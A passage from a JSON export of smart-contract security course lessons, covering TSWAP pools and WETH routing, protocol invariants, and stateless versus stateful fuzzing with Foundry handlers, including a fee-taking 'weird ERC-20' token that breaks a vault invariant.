WETH pool being created with the `Create Pool` function. Yes! You just don't create pools; it's also about combining different token pairs to form these pools.\n\n## Understanding the Logic behind Pool Contract\n\nThe contract used to create new pools ensures that each pool token adheres to the correct logic. Nonetheless, the real allure of these pool contracts comes alive with each T swap pool contract.\n\nTo highlight this point, I navigated the SRC, where I found the `create pool` function in play (highlighted in the `poolfactory.sol`). This function sprung my curiosity, and I began exploring it more.\n\nTo my delight, I discovered that the function seemingly calls this new TSWAP pool function. Though information-dense, the sequence makes sense as the `Create Pool` function is being called to create a new pool contract.\n\nAfter investing some time into exploring the process, I realized that each TSWAP contract operates as an exclusive exchange between two specific assets, as originally depicted in our early diagram with ne ERC 20 and the WETH token.\n\n## Bridging the Gap via Pools and WETH\n\nThe magic of WETH lies in its ability to specifically provide pools with the power to allow users to freely swap between an ERC 20 having a pool and WETH (Wrapped Ether). With a sufficient number of pools created, they enable an easy hop between supportive ERC 20s.\n\nIf this sounds like a challenge, consider this; if I possess USDC, I could swap from USDC to WETH. Then, switching from WETH to Link becomes feasible because there's likely going to be a USDC WETH pool and a Link WETH pool.\n\nNow, let’s explain the process with an easy example,\n\n> User A has ten USDC. They want to swap it for die. So, they swap their ten USDC for WETH in the USDC WETH pool. They then swap their WETH for die in the Dai WETH pool.\n\nIt falls into place now, doesn't it? Every pool designates a unique pair between some tokens and WETH. Not only does it provide functionality for swapping but also gives developers insight into the two functions enabling the swap process.\n\nAt the higher level, this is how swapping works, and playing around with the sample codes will only enrich your understanding of the process.\n\n## Role of Liquidity Providers\n\nHopefully, this article provided you with useful insights into the process of pool creation, swapping, and the essence of LPs. However, there's much more to explore and understand, and it's fascinating to see how these different components intricately work together to enable seamless AMMs.\n", + "updates": [] + }, + { + "id": "7e94a8f8-45d8-4500-a442-c6405637fc5c", + "number": 9, + "title": "Invariant & Properties Introduction", + "slug": "invariant-&-properties-introduction", + "folderName": "9-invariant-&-properties-introduction", + "description": "", + "duration": 3, + "videoUrl": "K6OtIxq3j7g", + "rawMarkdownUrl": "/routes/security/5-tswap/9-invariant-&-properties-introduction/+page.md", + "markdownContent": "---\ntitle: Invariant & Properties Introduction\n---\n\n\n\n---\n\n# Demystifying Core Invariants in Blockchain Protocols\n\nDiving deep into the world of Blockchain, I thought to explore something fundamental yet intriguing: the concept of **invariants**. Invariants form the bedrock of most blockchain protocols, a feature you will encounter in almost every protocol ranging from ERC 20s to ERC 721s. Understanding this critical element is vital for anyone looking into the inner workings of these protocols.\n\nIn this blog, we'll cover invariants thoroughly while also touching on how to inspect them properly. We'll hope to do so by investigating the TSWAP protocol and its core invariant. Create a hot beverage, loosen up, and let’s probe these invariants together!\n\n## What are Protocol Invariants?\n\nInvariants, in blockchain terms, are properties or conditions within a system that remain unaltered regardless of the actions carried out within the system. They are dynamic rules ensuring the system's safety, and they play a pivotal role in designing tokens in blockchain protocols.\n\nFor instance, various types of tokens like ERC 20, ERC 721, or ERC 626 have numerous invariants to their names. Each ERC 20 has 20 properties or invariants while an ERC 721 has 19. As you'll discover later in this course, ERC 626 tokens, which we'll cover in the _Vault Guardians_ section, boast of whopping 37 properties.\n\nTo get a hang of these properties, you can pay a visit [here](https://blog.trailofbits.com/2023/10/05/introducing-invariant-development-as-a-service/), at the _Trail of Bits repository_. This repository neatly lays out the invariants of an array of tokens.\n\n## TSWAP Protocol and Invariants\n\nNow, let's turn our gaze towards the TSWAP protocol. If you explore the protocol, you'll encounter the gift the developers have graciously provided: the core invariant.\n\nHowever, it's noteworthy to understand that sometimes developers may not correctly establish the invariant. In such cases, the onus falls on us, the _Security Experts_, to ensure accuracy. While the developers hand you the necessary details, understanding and breaking down the invariants becomes a task of paramount importance.\n\nUnfortunately, many developers do not fully grasp their own created invariants. Bearing this in mind, you might come across instances where you need to discern the invariants by referring to the documentation. Therefore, it's crucial for every developer to understand invariants better or properties.\n\n## Invariants and Fuzz Testing\n\nAs we've already laid some groundwork on invariants, let's now head towards a deeper understanding of them by considering fuzz testing.\n\n> “Fuzz testing or fuzzing is a method for discovering coding errors and security loopholes in software, networks, or operating systems by inputting massive amounts of random data to the system in an attempt to make it crash.”\n\nI've brought together a series of fuzz testing videos which we will delve into dipping our toes into the in-depth understanding of invariants and fuzzing.\n\nBut before that, if you are an alumnus of the **Foundry Course**, you may already have a basic understanding of fuzzing. Nevertheless, a refresher would surely help as we dig deeper into the concept with a more in-depth pedagogical approach.\n\nIn the next phase, we will examine a quick informative video to enhance our understanding of invariants and the varied tactics to evaluate them, with a specific focus on fuzz testing.\n\nBuckle up, recalibrate your focus, and let’s take this enlightening journey on understanding the invariances better. After all, there's no better time to learn something new than right now. Stay curious!\n", + "updates": [] + }, + { + "id": "cfdd384a-8605-435d-a4e6-54a8423bfef7", + "number": 10, + "title": "Stateful And Stateless Fuzzing", + "slug": "stateful-and-stateless-fuzzing", + "folderName": "10-stateful-and-stateless-fuzzing", + "description": "", + "duration": 3, + "videoUrl": "bSu42OoX-8A", + "rawMarkdownUrl": "/routes/security/5-tswap/10-stateful-and-stateless-fuzzing/+page.md", + "markdownContent": "---\ntitle: Stateful and Stateless Fuzzing to Test Invariants\n---\n\n\n\n---\n\n# Mastering Fuzz Testing to Secure Your Code\n\nAh, contracts written, tests conducted — time to ship your code, right?\n\nWrong.\n\n![](https://cdn.videotap.com/tSLOq12UEqMlEKM1ZYUu-34.65.png)\n\nThe answer is a straightforward no, as your code can easily fall prey to a flash loan attack. This post will guide you through the complex but fascinating world of Fuzz Testing and how it can help you safeguard your code from unexpected exploits.\n\n## The Notorious Flash Loan Attack\n\nIn essence, a flash loan attack could jeopardize your whole system, regardless of how well you've written or tested your code. As intriguing as it may sound, this breach results from already prepared and unthought-of scenarios that lack appropriate tests.\n\n> \"Most of the time, hacks will come from a scenario that you didn't think about or write a test for.\"\n\n## Enter: Fuzz Testing\n\nFuzz testing (also known as fuzzing) is a robust fix to cope with these random yet deadly exploits. It involves supplying random data to your system with an aim to break it — just like relentlessly trying to pop a balloon until it finally gives in, serving as a metaphor for our system code here.\n\nSounds a bit odd, huh? Why would we want to break our own system?\n\n![](https://cdn.videotap.com/EkFB4lChiHAsfS8axMsP-150.16.png)\n\nGlad you asked. Here's where the concept of invariants or properties of a system come into play. These are the untouchable rules or the inviolable conditions in our system that should always hold true. For instance, in a function that mandates our variable outcome to always be zero, this condition would be our invariant.\n\n## Testing: Unit Test vs. Fuzz Test\n\nConsider our function called `doStuff` which accepts an integer as an input parameter and promises to always return zero.\n\nThis code passes a single data point, calls the function and then asserts that the variable `shouldAlwaysBeZero` is indeed zero. With such a test, our function seems to be covered for the given data input.\n\n### - Fuzz Test:\n\nHowever, what if the data input is different? What if it’s two, causing `shouldAlwaysBeZero` to become one and thereby breaking our invariant?\n\nIn this Fuzz test, we replace the manually selected data in the original unit test parameter with randomized data (commenting out the previous line of code). When you run a test here, the program will automatically randomize the data, resulting in different examples.\n\nRunning the aforementioned unit test will pass, but running the equivalent Fuzz test will actually highlight where our system fails. It'll show an output where it says \"assertion violated\" and provide the data and arguments that caused the fail, all by randomly throwing data at our function.\n\nThat said, it's important to understand that Fuzzers won’t cover every single possible input, hence, understanding how your Fuzzers pick the random data is a crucial skill to develop.\n\n## Moving on to Stateful Fuzzing\n\nA Fuzz test is usually a stateless fuzz test, meaning the state of the previous run is discarded for the next run. However, in some cases like our example, we need the outcome of the previous run to influence the next one. For this, we bring in Stateful Fuzzing.\n\nStateful Fuzzing is where the ending state of our previous fuzz run is the starting state of the next fuzz run. For example, instead of creating a new instance of our contract for each test run, we use the same contract and perform multiple operations on it.\n\nWe can use Foundry's invariant keyword to perform stateful fuzzing, but first, we need to import the `STD invariant` contract, let Foundry know which contract to call random functions on, and then, write our invariant.\n\nUpon running this test, we will finally discover a sequence where our assertion fails, providing us with the information to adjust our code accordingly.\n\nWhile fuzzing with Foundry, an important distinction to keep in mind is between fuzzing or stateless fuzzing and invariants or stateful fuzzing.\n\n## Embedding Fuzz Testing into Your Routine\n\nIn a real-world setting, your invariant might not be as simple as our example. It could look something like ensuring new tokens minted are less than the inflation rate or creating a lottery game where there should only be one winner. Although fuzz testing isn't a substitute for expert manual review, it is certainly a critical tool to thwart vulnerabilities in your code.\n\nFinally, we hope you've gained a solid knowledge of the basics of fuzz testing. Fear not, you're not alone in your journey. At [cyfrin](https://www.cyfrin.io/), we use invariants during our audits to identify vulnerabilities that are frequently difficult to catch purely with manual reviews.\n\nStay tuned for our next post where we'll delve into the advanced fuzzing techniques and help you become a fuzzing pro. Together, let's strive to make Web 3.0 even better! Happy coding!\n", + "updates": [] + }, + { + "id": "453797a9-269f-4b55-a04d-42e759298e40", + "number": 11, + "title": "Stateless And Stateful Fuzzing Practice", + "slug": "stateless-and-stateful-fuzzing-practice", + "folderName": "11-stateless-and-stateful-fuzzing-practice", + "description": "", + "duration": 5, + "videoUrl": "Zo6viGz-NzM", + "rawMarkdownUrl": "/routes/security/5-tswap/11-stateless-and-stateful-fuzzing-practice/+page.md", + "markdownContent": "---\ntitle: Stateless and Stateful Fuzzing Practice Introduction\n---\n\n\n\n---\n\n# Proficiency in Invariant Tests and Fuzzing Tests: Professional Insights and Practicum\n\nHello everyone, today we delve deeper into the intriguing world of invariant tests and fuzzing tests. Buckle up as we gear up to break some contracts by exploring these tests, intentionally leaving the code unexamined for now. Our curiosity piqued? Let’s get into it!\n\n## Diving into Code Bases\n\nWe can’t help but sneak a peek into the code now, can we? Since we are here, let's analyze this exemplary TSWAP pool code base.\n\n![](https://cdn.videotap.com/9DXkrFHNdYGt3CJIJuAh-39.png)\n\nIt's filled with a plethora of comments, functions, and other intricate elements - it's enough to make the most seasoned of us a tad bit overwhelmed. Amongst us is the pool factory that stands minimal. We notice that the primary responsibility of pool factory is to create pool functions. Isn’t it interesting to note the stark contrast between TWSAP pool code base and pool factory?\n\n## What About the Security Review Test?\n\nGood question! We’ll get there, but remember, we are just humans, and the chance for errors and omissions is high. We might fail to spot certain defects during the manual review of the security test. This is precisely why leveraging automated tools as much as possible for these reviews is essential. Trust me, the experiences we collect from the practice of working with these tools are going to be invaluable.\n\n## Plunge into Fuzzing: Stateless and Stateful\n\nIn this chapter, we will focus on working with **stateless** and **stateful** fuzzing along with some advanced strategies. These techniques have personally worked wonders for me in competitive audits. My method has been to comprehend a protocol's invariant without really examining the code base, write an invariant test suite, and voila – bugs are unveiled effortlessly.\n\nThere are also other fuzzers to explore. Take the [Echidna Fuzzer](https://github.com/crytic/echidna) by the Trail of Bits team, for instance. Famed for being a smart fuzzer and powered by 'Slither', it is a fantastic tool indeed. Another outstanding option is the [Consensys Fuzzer](https://github.com/Consensys/diligence-fuzzing). This is a paid corporate cloud fuzzer and hence we won't be able to provide a walkthrough for it. [Foundry](https://github.com/foundry-rs/foundry) is yet another promising candidate with built-in fuzzing.\n\nHere is the content that these READMEs possess:\n\n- An understanding of what invariants are\n- A better insight into the different strategies we plan to employ to break invariants and discover vulnerabilities.\n\nI strongly recommend that you go ahead, pause this session, and thoroughly read through this. Trust me, understanding it now will make it easier when we get into the hands-on segment.\n\n## Breaking Invariants: The Game Begins\n\nLet's now move forward to the fun segment – you will write code along with me and understand every snippet. I assure you that by the end of this, you will have become an invariant testing pro. This mastery over the subject will help you discover vulnerabilities quicker and more effectively.\n\nFirst, in your code base, find the Invariant Break folder and remove it. Yes, you heard it right – remove it! Doing so is a sure-shot way to ensure you are not merely copy-pasting but genuinely understanding every piece of code. Let's start with stateless fuzzing.\n\nOnce we are through with learning these strategies for fuzzing, we'll return to our Uniswap code base and familiarize ourselves with its 'x times y equals k' core invariant. We'll then try to break it and uncover bugs without examining the code base and solely understand the invariants.\n\nSo let's gear up and set out on this exciting and insightful journey of breaking invariants and fuzzing, navigating through this incredible world of coding and contracts. Let's learn, practice, improve, and ultimately – strive towards becoming super badasses in smart contract testing and auditing.\n\n> \"The only way to learn a new programming concept is by writing programs.\" - Dennis Ritchie\n", + "updates": [] + }, + { + "id": "de00c65e-7aa4-4e9c-bafb-c8df31aff63a", + "number": 12, + "title": "Stateless Fuzzing", + "slug": "stateless-fuzzing", + "folderName": "12-stateless-fuzzing", + "description": "", + "duration": 9, + "videoUrl": "X_YD4P0HL1U", + "rawMarkdownUrl": "/routes/security/5-tswap/12-stateless-fuzzing/+page.md", + "markdownContent": "---\ntitle: Stateless Fuzzing\n---\n\n_Follow along with the video:_\n\n\n\n---\n\nToday, we'll be navigating through the SC exploits minimize codebase, focussing specifically on the `Invariant Break`. We aim to understand, practice, and discuss the power of stateless fuzzing, an essential tool in the world of software testing. Rest assured, we will also provide a minimized example to clarify how it works.\n\n## What is Stateless Fuzzing?\n\nStateless fuzzing, often referred to simply as fuzzing, is a technique where random data is supplied to a function to break some invariant or property. Remembering our discussion from the video of continuously attempting to pop a balloon serves as an apt analogy. It's all about continuously providing different inputs to a function until it breaks. If you have a function with an invariant that it should never return zero, then fuzz testing might just be the answer.\n\n## Breaking the Invariant: Writing the Test Case\n\nWith our codebase ready, and ourselves aware of the functionality we are testing. We need to write the test case to break it. Let's create a new folder named `Invariant Break` to prepare for our first stateless fuzz test. Naming the test `statelessfuzzcatchestest.sol`, we focus on catching the bug automatically using fuzz testing.\n\nThis test is more than just a unit test which checks the invariant once. With fuzzing, we apply various random numbers to the function and see if it breaks the invariant or not. The beauty of this strategy is that we can detect issues that can be missed out on during manual checks or basic unit tests.\n\n![](https://cdn.videotap.com/3SkpmLCCBFnsZH2yqkEW-412.31.png)\n\n## Setting the Fuzz Options\n\nLet's take a moment to understand the fuzz options. The number of runs determines the number of different balloons (inputs) we use in a stateless fuzz option. So we need to carefully adjust this value to ensure we're checking for as many edge cases as possible. Another crucial property is the seed, which, when kept the same, will offer the same inputs instead of random ones. This can be extremely helpful in debugging.\n\n![](https://cdn.videotap.com/BjOp2RCvRkPDt2VcD5fL-453.54.png)\n\nWith the fuzz options set, our test is ready to run. After a few runs, the test should fail, meaning our fuzz test has successfully caught the bug—great job on creating your first fuzz test. But what if it doesn't fail? Well, you may need to increase the number of runs or change the seed. With randomness at play, there's never a 100% guarantee that you'll catch the bug in a particular run. This makes the fuzzing process a bit of hit or miss, but the advantages outweigh this con, as it helps to ensure the robustness of your functions.\n\nSeeding different values and number of fuzzing runs directly impact how thoroughly the test cases are checked. Adjust these values according to your specific needs, cover as many alleyways as possible - fuzz it till you dust it off! But remember, it's crucial to analyze the balance between the number of runs, seed selection and performance of your testing.\n\n## Wrapping Up Stateless Fuzzing\n\nIn conclusion, stateless fuzzing is a powerful tool for catching bugs where you expect a specific invariant. However, it's important to remember its limitations, such as being stateless and so not being able to pick up on issues caused by interactions between different functions. It's also a tool reliant on randomness, which means you can never be sure you've explored every possible scenario. Yet it remains a swift and highly efficient method for bug hunting.\n\nIn the upcoming sections, we'll move forward from stateless fuzzing to touch upon more complex and exciting testing methodologies. Until next time, happy fuzzing!\n\n> “It’s not at all important to get it right the first time. It’s vitally important to get it right the last time.” - Andrew Hunt and David Thomas\n", + "updates": [] + }, + { + "id": "34e42011-1e07-4f7a-ba66-cffd239fa490", + "number": 13, + "title": "Where Stateless Fuzzing Fails", + "slug": "where-stateless-fuzzing-fails", + "folderName": "13-where-stateless-fuzzing-fails", + "description": "", + "duration": 11, + "videoUrl": "y756f57f49o", + "rawMarkdownUrl": "/routes/security/5-tswap/13-where-stateless-fuzzing-fails/+page.md", + "markdownContent": "---\ntitle: Where Stateless Fuzzing Fails\n---\n\n\n\n---\n\nHello readers, today, we're diving into the realm of stateful fuzzing. If you've been following our development journeys on smart contracts, you already know about stateless fuzzing. Stateless fuzzing, as we've discussed before, starts every fuzz run from scratch.\n\nBut with stateful fuzzing, things get a bit more exhilarating! Upon each pass of stateful fuzzing, the outcomes from the previous run become inputs to the next run.\n\n### Defining Stateful Fuzzing\n\nSounds interesting? Let's illustrate using a simple example.\n\nImagine you have a balloon. You do one thing to try to pop it, say, drop it. If it doesn't pop, instead of grabbing a new balloon, you apply another action on the same balloon, like kicking or squeezing it.\n\nThe same theory applies to our smart contracts. We call a function on our contract, change its state, and then repeat the process on the **same** contract. Quite unlike stateless fuzzing, where you start with a fresh state at every run!\n\n#### Running the Fuzz Test\n\nAfter ensuring everything is set, we’re now ready to run our fuzz test on this. Perhaps by making 1000 runs initially.\n\nDid it find a bug? No. You may be tempted to increase iterations to say, 10,000, then 100,000 or maybe even to a million runs! But listen, no matter how long you wait for the fuzzer to finish running, it will **never find the bug**\n\nThis is because the initial value was mounted at one and the balloon (contract state) you created is still at one, having slipped back to its initial state with each run. The only time it could return zero, breaking our invariant, is when the value changes to zero. Therefore, the contract's state must change.\n\nThis is precisely what a stateful fuzz test can find for us!\n\n> _“Talk is cheap. Show me the code.”_ \n> _- Linus Torvalds_\n", + "updates": [] + }, + { + "id": "c8b0a51e-b8f1-410b-9d57-1c56ccb99a22", + "number": 14, + "title": "Fuzzing Where Method 1 Fails", + "slug": "fuzzing-where-method-1-fails", + "folderName": "14-fuzzing-where-method-1-fails", + "description": "", + "duration": 18, + "videoUrl": "Rw3xyAHeB10", + "rawMarkdownUrl": "/routes/security/5-tswap/14-fuzzing-where-method-1-fails/+page.md", + "markdownContent": "---\ntitle: Stateful Fuzzing Where Method 1 (open) Fails\n---\n\n\n\n---\n\nWelcome back fellow learners! We are on this exciting journey together to lay the foundation of Smart Contract Security Testing. What have we learned thus far?\n\n## Stateless Fuzzing vs Stateful Fuzzing\n\nWe discovered that stateless fuzzing was not effective in detecting bugs in functions which require more complexity, such as `changeValue` - a function which updates a contract's state.\n\n```js\nfunction changeValue(uint256 _value, uint256 _multiplier) public {\n value = _value * _multiplier;\n}\n```\n\nIn this case, we employed a mechanism known as stateful fuzzing. With this method, we can catch much more subtle and nuanced bugs by accounting for contract state changes during fuzzing.\n\nHowever, we encountered a hiccup when we were dealing with an integer overflow issue. We had to set the `failOnRevert` to `false` for our fuzzing test to work! That's because `myValue` could be a huge number, larger than a `uint256` can hold, causing an overflow.\n\nDespite these hurdles, we soldiered on and made it this far. Now, it's time to graduate to an even more complex scenario - fuzzing a vault contract!\n\n## Breaking The Invariant With Stateful Fuzzing\n\nSo, let's start by attempting to break this invariant using stateful fuzzing.\n\nFirstly, we'll set up the test contract and import our dependencies, including the token mocks that will be used.\n\nNext, we'll create a token array and launch the tokens to be supported by our token vault. We will then set up the user who'll be interacting with the vault and provide them with a starting amount of tokens.\n\nFinally, we compose the fuzzing test itself. We begin by pranking the user, effectively manipulating their available tokens. We then perform the withdrawal operation of both types of tokens from the vault. Eventually, we assert that the user's token balance has not changed after the deposit and withdrawal operations.\n\nThe critical learning here is that we should always be able to withdraw the same amount we've deposited - this assertion must not fail!\n\n## All That Glitters Is Not Gold\n\nAlas, it appears that we celebrate too soon. On running this test, it's clear that we've run into an issue - our deposit function fails!\n\nWhen this happens, a good practice is to turn on the verbose logs ( -vvv flag) to see what's happening beneath the hood. We quickly detect the root cause - our fuzzer was making deposit attempts with unsupported tokens.\n\nToo much randomness in fuzzing can be just as detrimental as not enough randomness. We also notice that we never made the approve call for the ERC20 tokens, which was necessary for a deposit operation. Our fuzz test was essentially doomed from the start!\n\n## TL;DR\n\nIn this blog post, we discussed the progression from stateless to stateful fuzzing for smart contract testing. While stateless fuzzing is fantastic for catching some easy bugs, it falls short in detecting bugs in the case of more complex functions.\n\nStateful fuzzing overcomes these limitations, but it comes with its own set of challenges, like dealing with integer overflows. The takeaway here is the importance of finding the goldilocks zone of randomness while fuzzing - too little or too much can skew our test results!\n", + "updates": [] + }, + { + "id": "4a94be28-9b2e-49ca-a666-7eac99cf2d6d", + "number": 15, + "title": "Stateful Fuzzing Method 2", + "slug": "stateful-fuzzing-method-2", + "folderName": "15-stateful-fuzzing-method-2", + "description": "", + "duration": 14, + "videoUrl": "kB3CIfSXetc", + "rawMarkdownUrl": "/routes/security/5-tswap/15-stateful-fuzzing-method-2/+page.md", + "markdownContent": "---\ntitle: Stateful Fuzzing Method 2\n---\n\n_Follow along with the video:_\n\n\n\n---\n\n# Working with Smart Contracts Using Foundry: Setting up Handlers and Invariant\n\nIn this digital world where cryptocurrencies like Bitcoin, Ethereum, and others are trending, it's essential to understand how to use and create smart contracts. This article will guide you on how to create two new contracts utilizing Foundry; a known blockchain testing framework. The contracts to be created are `handler.t.sol` and `Invariant.t.sol`.\n\nComing along, we will also explore how to work with the `fail on revert` function.\n\n## Setting up the Handler Contract: `handler.t.sol`\n\nHandling smart contracts could be complex, especially if you're a beginner. However, with Foundry, we can manage our function calls to focus on vital operations for our code base, resulting in a less error-prone contract.\n\nConsider the idea that we have two types of users in our system; one who can deposit and another, withdraw. This simplification gives us a better sense of controlling bugs by ensuring an easier flow of interactions. Consequently, the `fail on revert` option should ideally be set to true. This validation will allow us to confirm the validity of our tests.\n\nWhen set to false, if our fail on revert test passes, it presents no valuable insight because there are too many pathways for the fuzzer to follow, potentially calling irrelevant functions. Although starting with the fail on revert set to false can be a suitable starting point, the intention should always be to work towards getting it set to true.\n\nNow, to the creation of our `handler.t.sol`. This particular contract will be set up as the intermediary for restricting the `handler stateful Fuz catches` contract.\n\nThrough the handler, we will instruct our Foundry and `Stateful Fuzzing Test Suite` to correlate with the `handler stateful Fuz catches` contract appropriately. We are essentially telling the Foundry when to call deposit, to approve, mint, and have the tokens. Likewise, when to call withdraw; all these with precise guidelines on avoiding explosive function calls.\n\nIn the handler contract, specific lines are written for the 'ERC20 token' and the 'USDC token'. Here's what the snippet looks like:\n\nThis handling setup focuses on 'deposit' and 'withdraw' functions thus curbs randomness and gives our fuzzer more accurate paths to follow, thereby giving correct and more reliable test results.\n\n## Setting up the Invariant Contract: `Invariant.t.sol`\n\nThe `Invariant.t.sol` involves creating the invariant test. Here, unlike in the handler contract `handlerT.sol`, we are particularly interested in an invariant that interacts with the handler contract and not the actual contract.\n\nTo begin setting up `Invariant.t.sol`, start by importing the handler with a line of code that looks like this:\n\nConsequently, instead of fuzzing the actual contract, we are going to fuzz the handler in a process that is easier and more sensible. The logic is that we want our transactions handled in a way that makes sense and thus the adoption of the `fuzz selector` as seen in the code below:\n\nThis instructs the contract that the selectors and the target address to be used are those outlined in the handler.\n\n## In Conclusion\n\nSetting up the `handlerT.sol` and `Invariant.t.sol` contracts helps break down the complexity of dealing with smart contracts. By implementing these contracts, we have given Foundry a framework to follow that makes its function calls more logical and less random. Therefore, we no longer have to deal with reverts, and we can focus better on our tests, making our iterations more meaningful and insightful.\n\nRemember, the best way to become proficient at handling smart contracts is repetition. Practice by trying these methods out on your old code bases, which should help you improve your coding skills and understanding of stateful fuzzing. You don't have to become an expert all at once; take small steps and ask questions when you face roadblocks.\n\nAll being said, smart contracts could save significant time, reduce the risk of manual errors, and thus revolutionize the way we perform secure transactions. Learning how to work with them will not only keep you relevant but also give your work an edge.\n\n> Note: This article assumes that you have a basic knowledge of smart contracts Foundry and programming. It might be helpful to do a bit of reading if you're not familiar with these topics.\n\nHappy coding!\n", + "updates": [] + }, + { + "id": "2b9d46bd-50a3-4def-8595-618c46346854", + "number": 16, + "title": "Debugging Fuzz Sequences", + "slug": "Debugging-Fuzz-Sequences", + "folderName": "16-Debugging-Fuzz-Sequences", + "description": "", + "duration": 7, + "videoUrl": "QmiE6_Vf_9E", + "rawMarkdownUrl": "/routes/security/5-tswap/16-Debugging-Fuzz-Sequences/+page.md", + "markdownContent": "---\ntitle: Debugging Fuzz Sequences\n---\n\n\n\n---\n\n# Invariant Testing, Fuzzing, and a Weird ERC-20 Exploit\n\n## Introduction\n\nHello, folks! In this blog post we'll embark on an exciting journey of executing invariant testing using a fuzzer. We will encounter misconfigurations, understand the output generated, identify the source of confused states (yes, we're going to meet a weird ERC20 token variant!), and unveil the importance of writing good tests, especially when dealing with external contracts.\n\nReady? Let's get started!\n\n## The Initial Fuzzing Scenario\n\nThe first thing we need to do is run our fuzzer, which is already configured to a contract, in our case, the \"Mock USDC.\" We have coded a fuzzer test, `forge test --mt`, that we'll apply here.\n\n**_Code to be inserted:_**\n\n```shell\nforge test --mt name-of-test\n```\n\nAs we eagerly anticipate a successful test run...\n\n### Problem Identification: The Fuzzer’s Anarchy\n\n![](https://cdn.videotap.com/dJ9d44aCK4jLbP02SRGT-77.81.png)\n\nUnfortunately, things don't turn out as planned. The fuzzer is attempting to interact with every possible edge, not just the \"handler\" contract we intended to speculate. To tether its leash back, we explicitly identify the target contract.\n\nAfter the amendment, another run of the test is conducted.\n\n### Signalling Errors: The Test Output\n\nRun again, we are greeted with an error message from a call to `withdrawYield` (ERC20).\n\nThe output isn't clear, but running the command `-VVV` (very, very verbose) may shed light on the error. The detailed output points fingers at an \"insufficient balance,\" raising questions why our fuzzer-guided users are struggling to withdraw tokens they own.\n\nAttempting to better understand this scenario, we consciously decide to ignore the revert conditions. However, the issue persists, generating a mountain of output data.\n\nA new strategy is formulated to drop ‘the seed’ controlling the fuzz, re-running the test in search of more comprehensible output.\n\n## Deep Dive: The Problematic ERC20 Token\n\nAnalysis of new output traces reveal that the `depositYield` function is also encountering a revert condition. A comparison of the pre and post-amendment data validates the improvement acquired through the fuzz restriction.\n\nThe error persists through multiple test runs, so we opt to investigate the contract code, revealing nothing out of the ordinary in the `withdrawToken` function, a likely suspect. Maybe the issue lies within the token itself?\n\nA scrutiny of `yieldYear20` also reveals nothing amiss, except one: a custom error message.\n\nThe error signals a lack of balance, an oddity since the user’s balance should align with the deposit amount. But it's the fine print that throws a spanner in the works.\n\n## Unraveling the Truth: A Sinister Token\n\nLooking further into the `yieldYear20` token, we notice an eccentric mechanism: for every 10 transactions, a 10% fee is deducted and transferred to the owner. Smelling a rat, this erratic behavior is the root of the violation of our invariant.\n\n### An Unexpected Result: Violation of the Invariant\n\nHere’s what unfolds: after back-to-back deposit and withdrawal transactions of the `yieldYear20` tokens, the 10th transaction deducts this 'fee,' dispatching 10% of tokens to the owner's contract. This act violates our invariant, which demands that users can always withdraw the exact balance fraction amount.\n\n## Importance of a Well-Written Test Suite\n\nLuckily, our top-notch stateful fuzzing test suite spotted the anomaly. It showcased the significance of having well-detailed tests, especially when external contracts, such as tokens, are involved. This informal audit brought attention to a significant pitfall potential, “Weird ERC-20 tokens.”\n\n### Wrap Up: Invitations, Exploitations, and Auditations\n\n“Congratulations for digesting this massive chunk of knowledge! Don't fret if you're perplexed; it's a lot to take in, especially without hands-on practice. But remember, Rome wasn't built in a day!\n\nThe key takeaway here is the importance of writing detailed test suites, accurately capturing potential anomalies that could break our system. As for our journey, you've just witnessed the first exploit of this session, the \"Weird ERC-20 Tokens,\" a concept we will explore in-depth in coming sessions.\n\n> “To iterate is human, to recurse, divine.” – L. Peter Deutsch\n\nHaving unraveled the problem, we're now geared up for the final leg of our expedition, auditing the ‘T-Swap protocol.' Stay tuned, as exciting discoveries await!\"\n", + "updates": [] + }, + { + "id": "f69e22bd-9912-4545-812b-1a44744e6120", + "number": 17, + "title": "Fuzzing Recap", + "slug": "fuzzing-recap", + "folderName": "17-fuzzing-recap", + "description": "", + "duration": 2, + "videoUrl": "d4VI69rhcfg", + "rawMarkdownUrl": "/routes/security/5-tswap/17-fuzzing-recap/+page.md", + "markdownContent": "---\ntitle: Fuzzing Recap\n---\n\n\n\n---\n\n# Mastering the Art of Fuzzing: Stateless, Stateful, and Weird ERC 20 Exploits\n\nIn this blog post, we're going to dive into the exciting world of `fuzzing`. Hang in there and get ready to uncover the intricacies of stateless fuzzing, explore the intriguing concept of stateful fuzzing, programmatically exploit the Weird ERC 20, and navigate the maze of manual bug finding in your codebase.\n\n## A Quick Recap: All About Stateless Fuzzing\n\nSo, what did we just uncover? We got to grips with the powerful tool called `stateless fuzzing`. Stateless fuzzing offers invaluable aid to developers as it tests a system with a series of random inputs, shreds through layers of errors, helps to uncover bugs in a codebase, and optimizes system performance.\n\nHowever, stateless fuzzing does have a downside. Its efficiency falls abruptly when it comes to `stateful fuzzing`. Why? Because stateful fuzzing isn't just about pounding a codebase with random inputs. It's more like a well-choreographed dance sequence, requiring precise steps and accurate timing.\n\n_\"Stateless and stateful fuzzing holds the same end goal: to identify and fix bugs and vulnerabilities in a codebase. However, they approach this goal from different perspectives.\"_\n\n## The Handler Method: Bridging the Gap between Stateless and Stateful Fuzzing\n\nBut here's the shimmering light at the end of the tunnel: the handler method. This handy little method functions as a proxy that enables us to call our contract and achieve a more nuanced stateful fuzzing strategy, especially when dealing with complex contracts.\n\nIn simple terms, the handler method allows us to make our randomness `less random`. This directed randomness enables stateful fuzzing to probe more effectively into a codebase's vulnerabilities.\n\nIt helps the fuzzer go down paths that make sense, ensuring a more efficient and targeted fuzzer run.\n\n![](https://cdn.videotap.com/imecUt1GioVaw6WCZCUs-33.1.png)\n\n## Teasing the Weird ERC 20 Exploits\n\nNext, we dipped our toes into the Weird ERC 20 exploit. While we didn’t dive deep into this topic, consider it your cliffhanger, your incentive to keep learning! We’ll be exploring the Weird ERC 20 in detail soon enough. It's an exploit you definitely don’t want to miss because it is a crucial tool to test more advanced code contracts.\n\n_\"In the world of coding and security breaches, the 'weird ERC 20' presents itself as a fascinating challenge and a riveting exploit that aids in uncovering deeper vulnerabilities within the code.\"_\n\n## Looking Forward: The Road Ahead with TSWAP and Manual Review\n\nWith this newly acquired knowledge, next on our agenda is to apply these techniques to `TSWAP` and run stateful fuzzing tests. After we've done that, we'll dive headlong into the fascinating world of manual reviews.\n\nThe manual review process can seem tedious, especially since it involves hunting down bugs without any automation. But rest assured, it’s an amazing learning journey that adds tremendous value to your skillset as a developer.\n\n## Take-A-Break Strategy\n\nAfter this whirlwind tour of fuzzing, exploit, and reviews, you’ve made it so far and gained quite a bit of expertise! Peeling back layers of codes, vulnerabilities, and in-depth testing strategies can be mentally taxing, which is why it's important to give your brain some downtime.\n\n_\"Learning is a marathon, not a sprint; don't 